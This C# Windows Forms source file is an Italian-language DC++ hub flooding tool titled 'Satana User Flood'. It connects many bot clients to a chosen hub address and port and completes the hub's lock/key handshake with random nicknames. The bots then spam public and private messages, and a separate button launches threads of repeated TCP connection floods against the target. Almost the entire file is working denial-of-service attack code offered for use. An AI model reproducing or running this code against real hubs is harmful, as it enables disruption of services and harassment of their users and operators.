using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Net.Sockets;
using System.Net;
using System.Text;
using System.Threading;
using System.Diagnostics;
namespace boh
{
/// <summary>
/// Descrizione di riepilogo per Form1.
/// </summary>
public class Form1 : System.Windows.Forms.Form
{
Thread t;
Thread l;
Random rand
= new Random
();
int i = 0;
ArrayList sock
= new ArrayList
();
bool status=false;
IPEndPoint iep;
private System.Windows.Forms.Button button4;
int count = 0;
private System.Windows.Forms.Button button1;
private System.Windows.Forms.NumericUpDown n;
private System.Windows.Forms.TextBox ip;
private System.Windows.Forms.TextBox porta;
private System.Windows.Forms.Button button2;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Label label3;
private System.Windows.Forms.Label label4;
private System.Windows.Forms.TextBox mas;
private System.Windows.Forms.TextBox delay;
private System.Windows.Forms.Button button3;
private System.Windows.Forms.TextBox tr;
private System.Windows.Forms.PictureBox pictureBox1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label5;
private System.Windows.Forms.Label label6;
private System.Windows.Forms.Label label7;
private System.Windows.Forms.Label label9;
private System.Windows.Forms.Label label10;
private System.Windows.Forms.Timer timer1;
private System.Windows.Forms.TextBox lol;
private System.Windows.Forms.TextBox testo;
private System.Windows.Forms.TextBox nick;
private System.Windows.Forms.TextBox nick2;
private System.Windows.Forms.Label label8;
private System.Windows.Forms.Label label11;
private System.ComponentModel.IContainer components;
public Form1()
{
//
// Necessario per il supporto di Progettazione Windows Form
//
InitializeComponent();
//
// TODO: aggiungere il codice del costruttore dopo la chiamata a InitializeComponent
//
}
/// <summary>
/// Pulire le risorse in uso.
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
void Colori()
{
while(true)
{
label2.ForeColor = Color.Red;
Thread.Sleep(1000);
label2.ForeColor = Color.Black;
Thread.Sleep(1000);
label3.ForeColor = Color.Red;
Thread.Sleep(1000);
label3.ForeColor = Color.Black;
Thread.Sleep(1000);
label4.ForeColor = Color.Red;
Thread.Sleep(1000);
label4.ForeColor = Color.Black;
Thread.Sleep(1000);
}
}
private void ConnectCallback(IAsyncResult ar)
{
if(status)
{
Socket client = (Socket) ar.AsyncState;
try
{
client.EndConnect(ar);
sock.Add(client);
if(sock.Count>=2000)
{
client.Close();
}
count++;
}
catch(Exception e1)
{
client.Close();
}
}
}
public void Attacca()
{
while(status)
{
try
{
IPHostEntry ihe = Dns.Resolve(ip.Text);
IPEndPoint iep1
= new IPEndPoint
(ihe.
AddressList[0
],Convert.
ToInt32(porta.
Text));
Socket s
= new Socket
(AddressFamily.
InterNetwork,SocketType.
Stream,ProtocolType.
Tcp);
s.Connect(iep1);
Thread.Sleep(Convert.ToInt32(delay.Text));
count++;
}
catch(Exception e1)
{
}
}
}
#region Codice generato da Progettazione Windows Form
/// <summary>
/// Metodo necessario per il supporto della finestra di progettazione. Non modificare
/// il contenuto del metodo con l'editor di codice.
/// </summary>
private void InitializeComponent()
{
this.
components = new System.ComponentModel.
Container();
System.Resources.
ResourceManager resources
= new System.Resources.
ResourceManager(typeof(Form1
));
this.
n = new System.
Windows.
Forms.
NumericUpDown();
this.
button1 = new System.
Windows.
Forms.
Button();
this.
ip = new System.
Windows.
Forms.
TextBox();
this.
porta = new System.
Windows.
Forms.
TextBox();
this.
button2 = new System.
Windows.
Forms.
Button();
this.
label2 = new System.
Windows.
Forms.
Label();
this.
label3 = new System.
Windows.
Forms.
Label();
this.
label4 = new System.
Windows.
Forms.
Label();
this.
mas = new System.
Windows.
Forms.
TextBox();
this.
delay = new System.
Windows.
Forms.
TextBox();
this.
button3 = new System.
Windows.
Forms.
Button();
this.
tr = new System.
Windows.
Forms.
TextBox();
this.
pictureBox1 = new System.
Windows.
Forms.
PictureBox();
this.
label1 = new System.
Windows.
Forms.
Label();
this.
label5 = new System.
Windows.
Forms.
Label();
this.
label6 = new System.
Windows.
Forms.
Label();
this.
label7 = new System.
Windows.
Forms.
Label();
this.
label9 = new System.
Windows.
Forms.
Label();
this.
label10 = new System.
Windows.
Forms.
Label();
this.
timer1 = new System.
Windows.
Forms.
Timer(this.
components);
this.
lol = new System.
Windows.
Forms.
TextBox();
this.
testo = new System.
Windows.
Forms.
TextBox();
this.
nick2 = new System.
Windows.
Forms.
TextBox();
this.
button4 = new System.
Windows.
Forms.
Button();
this.
label8 = new System.
Windows.
Forms.
Label();
this.
label11 = new System.
Windows.
Forms.
Label();
((System.ComponentModel.ISupportInitialize)(this.n)).BeginInit();
this.SuspendLayout();
//
// n
//
this.
n.
Font = new System.Drawing.
Font("Comic Sans MS", 9.75F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.n.ForeColor = System.Drawing.Color.Black;
this.
n.
Location = new System.Drawing.
Point(168, 184
);
this.
n.
Maximum = new System.
Decimal(new int[] {
1000,
0,
0,
0});
this.n.Name = "n";
this.
n.
Size = new System.Drawing.
Size(88, 26
);
this.n.TabIndex = 0;
this.
n.
Value = new System.
Decimal(new int[] {
1,
0,
0,
0});
//
// button1
//
this.button1.BackColor = System.Drawing.Color.Transparent;
this.
button1.
Font = new System.Drawing.
Font("Comic Sans MS", 15.75F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.button1.ForeColor = System.Drawing.Color.Red;
this.
button1.
Location = new System.Drawing.
Point(8, 456
);
this.button1.Name = "button1";
this.
button1.
Size = new System.Drawing.
Size(136, 40
);
this.button1.TabIndex = 1;
this.button1.Text = "FLoDDa!!!";
this.
button1.
Click += new System.
EventHandler(this.
button1_Click);
//
// ip
//
this.
ip.
Font = new System.Drawing.
Font("Comic Sans MS", 9.75F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.ip.ForeColor = System.Drawing.Color.Black;
this.
ip.
Location = new System.Drawing.
Point(168, 104
);
this.ip.Name = "ip";
this.
ip.
Size = new System.Drawing.
Size(104, 26
);
this.ip.TabIndex = 2;
this.ip.Text = "Indirizzo";
//
// porta
//
this.
porta.
Font = new System.Drawing.
Font("Comic Sans MS", 9.75F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.porta.ForeColor = System.Drawing.Color.Black;
this.
porta.
Location = new System.Drawing.
Point(168, 144
);
this.porta.Name = "porta";
this.
porta.
Size = new System.Drawing.
Size(72, 26
);
this.porta.TabIndex = 3;
this.porta.Text = "411";
//
// button2
//
this.button2.BackColor = System.Drawing.Color.Transparent;
this.
button2.
Font = new System.Drawing.
Font("Comic Sans MS", 15.75F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.button2.ForeColor = System.Drawing.Color.Red;
this.
button2.
Location = new System.Drawing.
Point(352, 456
);
this.button2.Name = "button2";
this.
button2.
Size = new System.Drawing.
Size(104, 40
);
this.button2.TabIndex = 4;
this.button2.Text = "ESCi!!!";
this.
button2.
Click += new System.
EventHandler(this.
button2_Click);
//
// label2
//
this.label2.BackColor = System.Drawing.Color.Transparent;
this.
label2.
Font = new System.Drawing.
Font("Comic Sans MS", 36F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.label2.ForeColor = System.Drawing.Color.Black;
this.
label2.
Location = new System.Drawing.
Point(8, 504
);
this.label2.Name = "label2";
this.
label2.
Size = new System.Drawing.
Size(64, 56
);
this.label2.TabIndex = 6;
this.label2.Text = "6";
//
// label3
//
this.label3.BackColor = System.Drawing.Color.Transparent;
this.
label3.
Font = new System.Drawing.
Font("Comic Sans MS", 36F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.label3.ForeColor = System.Drawing.Color.Black;
this.
label3.
Location = new System.Drawing.
Point(424, 504
);
this.label3.Name = "label3";
this.
label3.
Size = new System.Drawing.
Size(64, 56
);
this.label3.TabIndex = 7;
this.label3.Text = "6";
//
// label4
//
this.label4.BackColor = System.Drawing.Color.Transparent;
this.
label4.
Font = new System.Drawing.
Font("Comic Sans MS", 36F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.label4.ForeColor = System.Drawing.Color.Black;
this.
label4.
Location = new System.Drawing.
Point(216, 504
);
this.label4.Name = "label4";
this.
label4.
Size = new System.Drawing.
Size(64, 56
);
this.label4.TabIndex = 8;
this.label4.Text = "6";
//
// mas
//
this.
mas.
Font = new System.Drawing.
Font("Comic Sans MS", 9.75F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.mas.ForeColor = System.Drawing.Color.Black;
this.
mas.
Location = new System.Drawing.
Point(168, 224
);
this.mas.Name = "mas";
this.
mas.
Size = new System.Drawing.
Size(32, 26
);
this.mas.TabIndex = 14;
this.mas.Text = "4";
//
// delay
//
this.
delay.
Font = new System.Drawing.
Font("Comic Sans MS", 9.75F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.delay.ForeColor = System.Drawing.Color.Black;
this.
delay.
Location = new System.Drawing.
Point(168, 304
);
this.delay.Name = "delay";
this.
delay.
Size = new System.Drawing.
Size(32, 26
);
this.delay.TabIndex = 16;
this.delay.Text = "1";
//
// button3
//
this.button3.BackColor = System.Drawing.Color.Transparent;
this.
button3.
Font = new System.Drawing.
Font("Comic Sans MS", 14.25F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.button3.ForeColor = System.Drawing.Color.Red;
this.
button3.
Location = new System.Drawing.
Point(184, 456
);
this.button3.Name = "button3";
this.
button3.
Size = new System.Drawing.
Size(128, 40
);
this.button3.TabIndex = 17;
this.button3.Text = "SynFLoDDa";
this.
button3.
Click += new System.
EventHandler(this.
button3_Click);
//
// tr
//
this.
tr.
Font = new System.Drawing.
Font("Comic Sans MS", 9.75F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.tr.ForeColor = System.Drawing.Color.Black;
this.
tr.
Location = new System.Drawing.
Point(168, 264
);
this.tr.Name = "tr";
this.
tr.
Size = new System.Drawing.
Size(32, 26
);
this.tr.TabIndex = 18;
this.tr.Text = "3";
//
// pictureBox1
//
this.pictureBox1.BackColor = System.Drawing.Color.Transparent;
this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image")));
this.
pictureBox1.
Location = new System.Drawing.
Point(120, 0
);
this.pictureBox1.Name = "pictureBox1";
this.
pictureBox1.
Size = new System.Drawing.
Size(272, 88
);
this.pictureBox1.TabIndex = 19;
this.pictureBox1.TabStop = false;
//
// label1
//
this.label1.BackColor = System.Drawing.Color.Transparent;
this.
label1.
Font = new System.Drawing.
Font("Comic Sans MS", 12F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.label1.ForeColor = System.Drawing.Color.Red;
this.
label1.
Location = new System.Drawing.
Point(8, 104
);
this.label1.Name = "label1";
this.
label1.
Size = new System.Drawing.
Size(128, 24
);
this.label1.TabIndex = 20;
this.label1.Text = "InDiRiZZo HuB";
//
// label5
//
this.label5.BackColor = System.Drawing.Color.Transparent;
this.
label5.
Font = new System.Drawing.
Font("Comic Sans MS", 12F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.label5.ForeColor = System.Drawing.Color.Red;
this.
label5.
Location = new System.Drawing.
Point(8, 144
);
this.label5.Name = "label5";
this.
label5.
Size = new System.Drawing.
Size(72, 24
);
this.label5.TabIndex = 21;
this.label5.Text = "PoRTa";
//
// label6
//
this.label6.BackColor = System.Drawing.Color.Transparent;
this.
label6.
Font = new System.Drawing.
Font("Comic Sans MS", 12F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.label6.ForeColor = System.Drawing.Color.Red;
this.
label6.
Location = new System.Drawing.
Point(8, 184
);
this.label6.Name = "label6";
this.
label6.
Size = new System.Drawing.
Size(80, 24
);
this.label6.TabIndex = 22;
this.label6.Text = "N°USeR";
//
// label7
//
this.label7.BackColor = System.Drawing.Color.Transparent;
this.
label7.
Font = new System.Drawing.
Font("Comic Sans MS", 11.25F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.label7.ForeColor = System.Drawing.Color.Red;
this.
label7.
Location = new System.Drawing.
Point(8, 224
);
this.label7.Name = "label7";
this.
label7.
Size = new System.Drawing.
Size(160, 24
);
this.label7.TabIndex = 23;
this.label7.Text = "N°MeSSaGGi FLooD";
//
// label9
//
this.label9.BackColor = System.Drawing.Color.Transparent;
this.
label9.
Font = new System.Drawing.
Font("Comic Sans MS", 12F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.label9.ForeColor = System.Drawing.Color.Red;
this.
label9.
Location = new System.Drawing.
Point(8, 264
);
this.label9.Name = "label9";
this.
label9.
Size = new System.Drawing.
Size(120, 24
);
this.label9.TabIndex = 25;
this.label9.Text = "N° SyNFLooD";
//
// label10
//
this.label10.BackColor = System.Drawing.Color.Transparent;
this.
label10.
Font = new System.Drawing.
Font("Comic Sans MS", 12F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.label10.ForeColor = System.Drawing.Color.Red;
this.
label10.
Location = new System.Drawing.
Point(8, 304
);
this.label10.Name = "label10";
this.
label10.
Size = new System.Drawing.
Size(152, 24
);
this.label10.TabIndex = 26;
this.label10.Text = "DeLaY SyNFLooD";
//
// timer1
//
this.timer1.Interval = 1;
this.
timer1.
Tick += new System.
EventHandler(this.
timer1_Tick);
//
// lol
//
this.
lol.
Location = new System.Drawing.
Point(456, 32
);
this.lol.Multiline = true;
this.lol.Name = "lol";
this.
lol.
Size = new System.Drawing.
Size(256, 496
);
this.lol.TabIndex = 27;
this.lol.Text = "";
this.
lol.
TextChanged += new System.
EventHandler(this.
textBox1_TextChanged);
//
// testo
//
this.
testo.
Location = new System.Drawing.
Point(728, 120
);
this.testo.Name = "testo";
this.
testo.
Size = new System.Drawing.
Size(40, 21
);
this.testo.TabIndex = 28;
this.testo.Text = "";
//
// nick2
//
this.
nick2.
Location = new System.Drawing.
Point(728, 24
);
this.nick2.Name = "nick2";
this.
nick2.
Size = new System.Drawing.
Size(64, 21
);
this.nick2.TabIndex = 29;
this.nick2.Text = "textBox1";
//
// button4
//
this.
button4.
Location = new System.Drawing.
Point(728, 64
);
this.button4.Name = "button4";
this.
button4.
Size = new System.Drawing.
Size(56, 24
);
this.button4.TabIndex = 30;
this.button4.Text = "button4";
this.
button4.
Click += new System.
EventHandler(this.
button4_Click);
//
// label8
//
this.label8.BackColor = System.Drawing.Color.Transparent;
this.
label8.
Font = new System.Drawing.
Font("Comic Sans MS", 11.25F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.label8.ForeColor = System.Drawing.Color.Red;
this.
label8.
Location = new System.Drawing.
Point(520, 8
);
this.label8.Name = "label8";
this.
label8.
Size = new System.Drawing.
Size(144, 24
);
this.label8.TabIndex = 31;
this.label8.Text = "FRaSe FLooD";
//
// label11
//
this.label11.BackColor = System.Drawing.Color.Transparent;
this.
label11.
Font = new System.Drawing.
Font("Comic Sans MS", 12F,
System.Drawing.
FontStyle.
Bold,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.label11.ForeColor = System.Drawing.Color.White;
this.
label11.
Location = new System.Drawing.
Point(8, 344
);
this.label11.Name = "label11";
this.
label11.
Size = new System.Drawing.
Size(432, 96
);
this.label11.TabIndex = 32;
this.label11.Text = "RiSPeTTo ALLa VeRSioNe PReCeDeNTe è STaTa AGGiuNTa UNa TexT BoX + GRaNDe ANKe x F" +
"LoDDaRe + VeLoCeMeNTe,Ed è STaTa AuMeNTaTa Di MoLTo La VeLoCiTà DeL FLooD";
//
// Form1
//
this.
AutoScaleBaseSize = new System.Drawing.
Size(6, 14
);
this.BackColor = System.Drawing.Color.Black;
this.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("$this.BackgroundImage")));
this.
ClientSize = new System.Drawing.
Size(722, 568
);
this.ControlBox = false;
this.Controls.Add(this.label11);
this.Controls.Add(this.label8);
this.Controls.Add(this.button4);
this.Controls.Add(this.nick2);
this.Controls.Add(this.testo);
this.Controls.Add(this.lol);
this.Controls.Add(this.label10);
this.Controls.Add(this.label9);
this.Controls.Add(this.label7);
this.Controls.Add(this.label6);
this.Controls.Add(this.label5);
this.Controls.Add(this.label1);
this.Controls.Add(this.pictureBox1);
this.Controls.Add(this.tr);
this.Controls.Add(this.button3);
this.Controls.Add(this.delay);
this.Controls.Add(this.mas);
this.Controls.Add(this.label4);
this.Controls.Add(this.label3);
this.Controls.Add(this.label2);
this.Controls.Add(this.button2);
this.Controls.Add(this.porta);
this.Controls.Add(this.ip);
this.Controls.Add(this.button1);
this.Controls.Add(this.n);
this.
Font = new System.Drawing.
Font("Microsoft Sans Serif", 9F,
System.Drawing.
FontStyle.
Regular,
System.Drawing.
GraphicsUnit.
Point,
((System.
Byte)(0
)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "Form1";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = " (¯`º¤ø-§å†åÑå Ѐ][V][øÑiå¢ ƒløøÐ 1.3 R€løåЀР-ø¤º´¯)";
this.
Load += new System.
EventHandler(this.
Form1_Load);
((System.ComponentModel.ISupportInitialize)(this.n)).EndInit();
this.ResumeLayout(false);
}
#endregion
/// <summary>
/// Il punto di ingresso principale dell'applicazione.
/// </summary>
[STAThread]
static void Main()
{
Application.
Run(new Form1
());
}
public string GeneraNickCasuali()
{
string nome = "";
int max = rand.Next(4,8);
int i;
for(i=0;i<max;i++)
{
int g = rand.Next(97,122);
nome += (char)g;
}
return nome;
}
string getKey(string lockz)
{
byte[] lock0=Encoding.Default.GetBytes(lockz);
int[] key
= new int[lock0.
Length];
for (int i = 1; i < lock0.Length; i++)
{
key[i] = (lock0[i] ^ lock0[i-1]);
}
key[0] = (lock0[0] ^ lock0[lock0.Length-1] ^ lock0[lock0.Length-2] ^ 5);
for (int i = 0; i < key.Length; i++)
{
key[i] = (((key[i]<<4) & 240) | ((key[i]>>4) & 15));
}
byte[] sKey
= new byte[516
];
int len = 0;
for ( int i = 0; i<key.Length ; i++)
{
if(key[i] == 0)
{
// "/%DCN000%/"
for(int ii = 0; ii < "/%DCN000%/".Length; ii++)
{
sKey[len] = (Encoding.Default.GetBytes("/%DCN000%/"))[ii];
len++;
}
}
else if(key[i] == 5)
{
for(int ii = 0; ii < "/%DCN005%/".Length; ii++)
{
sKey[len] = (Encoding.Default.GetBytes("/%DCN005%/"))[ii];
len++;
}
}
else if(key[i] == 36)
{
for(int ii = 0; ii < "/%DCN036%/".Length; ii++)
{
sKey[len] = (Encoding.Default.GetBytes("/%DCN036%/"))[ii];
len++;
}
}
else if(key[i] == 96)
{
for(int ii = 0; ii < "/%DCN096%/".Length; ii++)
{
sKey[len] = (Encoding.Default.GetBytes("/%DCN096%/"))[ii];
len++;
}
}
else if(key[i] == 124)
{
for(int ii = 0; ii < "/%DCN124%/".Length; ii++)
{
sKey[len] = (Encoding.Default.GetBytes("/%DCN124%/"))[ii];
len++;
}
}
else if(key[i] == 126)
{
for(int ii = 0; ii < "/%DCN126%/".Length; ii++)
{
sKey[len] = (Encoding.Default.GetBytes("/%DCN126%/"))[ii];
len++;
}
}
else
{
sKey[len] = (byte)key[i];
len++;
}
}
byte[] aux
= new byte[len
];
for(int i = 0; i < len; i++)
{
aux[i] = sKey[i];
}
return Encoding.Default.GetString(aux);
}
void Send(Socket s, string send)
{
try
{
s.Send(Encoding.Default.GetBytes(send+"|"));
}
catch{}
}
private void button1_Click(object sender, System.EventArgs e)
{
timer1.Start();
timer1.Interval = 1000;
}
private void Form1_Load(object sender, System.EventArgs e)
{
t
= new Thread
(new ThreadStart
(Colori
));
t.Start();
}
private void button2_Click(object sender, System.EventArgs e)
{
DialogResult dr;
dr = MessageBox.Show("Vuoi Chiudere L'USeR FLooD? (Gli user creati si disconnetteranno)?","SaTaNa USeR FLooD",MessageBoxButtons.YesNo,MessageBoxIcon.Error);
if(dr==DialogResult.Yes)
{
Process p = Process.GetCurrentProcess();
p.Kill();
this.Close();
}
if(dr==DialogResult.No)
{
return;
}
}
private void button3_Click(object sender, System.EventArgs e)
{
for(int i = 0;i<Convert.ToInt32(tr.Text);i++)
{
l
= new Thread
(new ThreadStart
(Attacca
));
l.Start();
}
}
private void timer1_Tick(object sender, System.EventArgs e)
{
IPHostEntry ihe = Dns.Resolve(ip.Text);
IPEndPoint iep
= new IPEndPoint
(ihe.
AddressList[0
],Convert.
ToInt32(porta.
Text));
for(int i = 0;i<n.Value;i++)
{
try
{
string nick7 = nick2.Text;
Socket s
= new Socket
(AddressFamily.
InterNetwork,SocketType.
Stream,ProtocolType.
Tcp);
s.Connect(iep);
byte[] buffer
= new byte[1024
];
s.Receive(buffer);
string lockepk = Encoding.Default.GetString(buffer);
string[] st = lockepk.Split(' ');
string lock0 = st[1];
string key = "$Key "+getKey(lock0);
string nick = GeneraNickCasuali();
Send(s,key);
Send(s,"$ValidateNick "+nick);
Send(s,"$Version 1,0091");
Send(s,"$MyINFO $ALL "+nick+" SaTaNaUSeRFLooD<++ V:0.668,M:A,H:0/0/1,S:2>$ $DSL$$115894710861$|");
for(int f = 0;f<Convert.ToInt32(mas.Text);f++)
{
byte[] msg = Encoding.Default.GetBytes("<"+nick+"> "+lol.Text+" |");
s.Send(msg);
byte[] msg3 = Encoding.Default.GetBytes("$To: "+nick7+" From: "+nick+" $<"+nick+"> SoKaaaa|");
s.Send(msg3);
}
}
catch
{
MessageBox.Show("Impossibile Connettersi");
}
}
}
private void textBox1_TextChanged(object sender, System.EventArgs e)
{
}
private void button4_Click(object sender, System.EventArgs e)
{
}
}
}